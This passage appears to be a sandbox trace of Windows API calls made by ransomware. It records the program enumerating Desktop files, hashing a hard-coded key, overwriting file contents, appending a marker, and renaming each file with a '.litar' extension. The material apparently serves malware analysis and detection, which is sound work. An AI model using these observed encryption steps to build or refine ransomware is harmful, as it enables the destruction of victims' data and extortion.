returned 0x624 [0125.663] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=55115) returned 1 [0125.663] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.665] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xd725, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.665] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.667] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.667] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xd74b, lpOverlapped=0x0) returned 1 [0125.668] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.668] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.668] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.668] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.668] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a07c8) returned 1 [0125.669] CryptCreateHash (in: hProv=0x6a07c8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.669] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.669] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.669] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.669] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.669] GetLastError () returned 0x0 [0125.669] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.669] CryptReleaseContext (hProv=0x6a07c8, dwFlags=0x0) returned 1 [0125.669] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.669] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd750) returned 0x30fa0b0 [0125.669] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.669] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.669] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xd746, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xd746, lpOverlapped=0x0) returned 1 [0125.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.670] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xd74b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0125.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0125.670] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.670] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.670] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.671] CloseHandle (hObject=0x624) returned 1 [0125.672] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bce70 [0125.672] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0125.672] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bce70 | out: hHeap=0x5c0000) returned 1 [0125.672] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\PbT_4bgt7AZeNnG57IPC.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eyzvk3aytlrtvd\\pbt_4bgt7azenng57ipc.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\PbT_4bgt7AZeNnG57IPC.avi.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eyzvk3aytlrtvd\\pbt_4bgt7azenng57ipc.avi.litar")) returned 1 [0125.672] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.672] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0125.673] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x201eab40, ftCreationTime.dwHighDateTime=0x1d4d539, ftLastAccessTime.dwLowDateTime=0xfad2fab0, ftLastAccessTime.dwHighDateTime=0x1d4d4ef, ftLastWriteTime.dwLowDateTime=0xfad2fab0, ftLastWriteTime.dwHighDateTime=0x1d4d4ef, nFileSizeHigh=0x0, nFileSizeLow=0x1777d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rb8St5qJhaFz.bmp", cAlternateFileName="RB8ST5~1.BMP")) returned 1 [0125.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30843f0 [0125.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0125.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30843f0 | out: hHeap=0x5c0000) returned 1 [0125.673] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\rb8St5qJhaFz.bmp") returned=".bmp" [0125.673] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\rb8St5qJhaFz.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eyzvk3aytlrtvd\\rb8st5qjhafz.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.674] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=96125) returned 1 [0125.674] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.676] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x17757, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.676] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.677] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0125.677] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0125.677] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.677] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x1777d, lpOverlapped=0x0) returned 1 [0125.678] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.678] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.678] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.679] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.679] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a07c8) returned 1 [0125.679] CryptCreateHash (in: hProv=0x6a07c8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.679] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.679] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.679] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.679] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.679] GetLastError () returned 0x0 [0125.680] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.680] CryptReleaseContext (hProv=0x6a07c8, dwFlags=0x0) returned 1 [0125.680] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.680] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x17780) returned 0x30fa0b0 [0125.680] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.680] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.680] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x17778, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x17778, lpOverlapped=0x0) returned 1 [0125.681] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.681] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1777d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.681] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0125.681] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.681] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.681] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.681] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0125.681] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.681] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.681] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.681] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.681] CloseHandle (hObject=0x624) returned 1 [0125.682] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ffb060 [0125.682] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0125.682] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0125.682] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\rb8St5qJhaFz.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eyzvk3aytlrtvd\\rb8st5qjhafz.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\rb8St5qJhaFz.bmp.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eyzvk3aytlrtvd\\rb8st5qjhafz.bmp.litar")) returned 1 [0125.683] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.683] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.684] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0125.684] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f39ef90, ftCreationTime.dwHighDateTime=0x1d4c6ec, ftLastAccessTime.dwLowDateTime=0x6f045370, ftLastAccessTime.dwHighDateTime=0x1d4d18f, ftLastWriteTime.dwLowDateTime=0x6f045370, ftLastWriteTime.dwHighDateTime=0x1d4d18f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TB1FXyT70", cAlternateFileName="TB1FXY~1")) returned 1 [0125.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a07c8 [0125.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30843f0 [0125.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30845d0 [0125.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0125.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.684] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.684] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.684] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.684] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3061720 | out: hHeap=0x5c0000) returned 1 [0125.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.684] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.684] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a07c8 | out: hHeap=0x5c0000) returned 1 [0125.684] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f39ef90, ftCreationTime.dwHighDateTime=0x1d4c6ec, ftLastAccessTime.dwLowDateTime=0x6f045370, ftLastAccessTime.dwHighDateTime=0x1d4d18f, ftLastWriteTime.dwLowDateTime=0x6f045370, ftLastWriteTime.dwHighDateTime=0x1d4d18f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TB1FXyT70", cAlternateFileName="TB1FXY~1")) returned 0 [0125.684] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0125.684] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0125.684] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084198 | out: hHeap=0x5c0000) returned 1 [0125.684] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084198 [0125.684] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.684] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.684] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0125.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.687] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.687] HeapFree (in: hHeap=0x5c0000, 